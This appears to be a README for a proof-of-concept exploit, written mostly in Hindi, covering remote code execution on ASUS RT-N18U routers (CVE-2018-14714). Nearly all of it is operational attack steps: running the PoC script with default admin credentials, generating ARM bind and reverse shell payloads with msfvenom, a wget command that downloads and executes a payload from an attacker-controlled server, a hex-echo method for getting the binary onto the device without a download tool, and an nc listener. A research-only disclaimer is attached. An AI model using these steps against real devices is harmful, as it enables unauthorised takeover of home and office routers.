
ASUS wifi router RCE vulnerability
ASUS वाई-फाई राउटर RCE कमजोरी
यह PoC केवल सीखने और अनुसंधान के उद्देश्यों के लिए है। इसका उपयोग अवैध गतिविधियों के लिए न करें; किसी भी कानूनी परिणाम के लिए आप पूरी तरह से जिम्मेदार हैं।
नीचे दिए गए प्रदर्शन में, परीक्षण किया गया उपकरण मॉडल ASUS RT-N18U है, फर्मवेयर संस्करण 3.0.0.4.378.9216 है, एक राउटर जो मैंने अपने विश्वविद्यालय के वर्षों के दौरान खरीदा था। अब यह मेरी परीक्षण मशीन है :)
शोषण की शर्तें
आपको निर्भरताएँ स्थापित करने की आवश्यकता है:
$ python3 -m pip install requestsसीधे स्क्रिप्ट चलाएं उपयोग निर्देश प्राप्त करने के लिए। आप लक्ष्य में कमजोरी है या नहीं, यह सत्यापित करने के लिए नीचे दिए गए कमांड को चला सकते हैं।
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>

आप हल्के रिवर्स शेल बाइनरी एक्जीक्यूटेबल उत्पन्न करने के लिए msfvenom कमांड का उपयोग कर सकते हैं। आप अपने कर्नेल वातावरण के अनुसार पैरामीटर को संशोधित कर सकते हैं। मेरे मामले में, यह armv7l है, और कमांड इस प्रकार है:
बाइंड शेल
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

रिवर्स शेल
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

यदि आपके लक्ष्य डिवाइस में wget कमांड उपलब्ध है, तो पोर्ट 4444 पर सुनना शुरू करने के बाद, आप रिवर्स शेल प्राप्त करने के लिए स्यूडो-शेल में निम्नलिखित कमांड का उपयोग कर सकते हैं:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
यदि आपके लक्ष्य वातावरण में कोई अंतर्निहित दूरस्थ संसाधन एक्सेस कमांड नहीं है, तो कृपया पढ़ना जारी रखें।
उत्पन्न बाइनरी फ़ाइल को बाइनरी डेटा में बदलें।
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

लक्ष्य पर कमजोरी की उपस्थिति की पुष्टि करने के लिए, इंटरैक्टिव स्यूडो-शेल में प्रवेश करने के लिए जोड़े गए शेल पैरामीटर के साथ Python स्क्रिप्ट को फिर से चलाएं। कृपया ध्यान दें कि यदि कमांड कोई आउटपुट उत्पन्न नहीं करते हैं तो यह सामान्य है, क्योंकि stdout प्राप्त करने के लिए कोई स्थान नहीं है। हालांकि, sleep कमांड का उपयोग करके आप सत्यापित कर सकते हैं कि कमांड वास्तव में निष्पादित हुए हैं।

इसके अतिरिक्त, यह ध्यान रखना महत्वपूर्ण है कि परीक्षण के आधार पर, कमांड लाइन अधिकतम 1022 वर्णों की अनुमति देती है। आपको ऐसे कमांड बनाने की आवश्यकता है जो लंबाई में 1022 वर्णों से कम हों। इसलिए, आपको पेलोड को मैन्युअल रूप से विभाजित करना होगा और हमारे कमांड के सफलतापूर्वक चलने को सुनिश्चित करने के लिए इसे भागों में निष्पादित करना होगा।

इसके बाद, आइए एक वास्तविक रिवर्स शेल प्राप्त करें। आप निर्दिष्ट पोर्ट पर सुनना शुरू कर सकते हैं।
$ nc -lvnp 4444
पेलोड इंजेक्ट करने के लिए स्यूडो-शेल प्राप्त करने हेतु Python PoC स्क्रिप्ट चलाएं।
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

अंत में, बस आपके द्वारा प्राप्त रिवर्स शेल का आनंद लेना शेष है :)
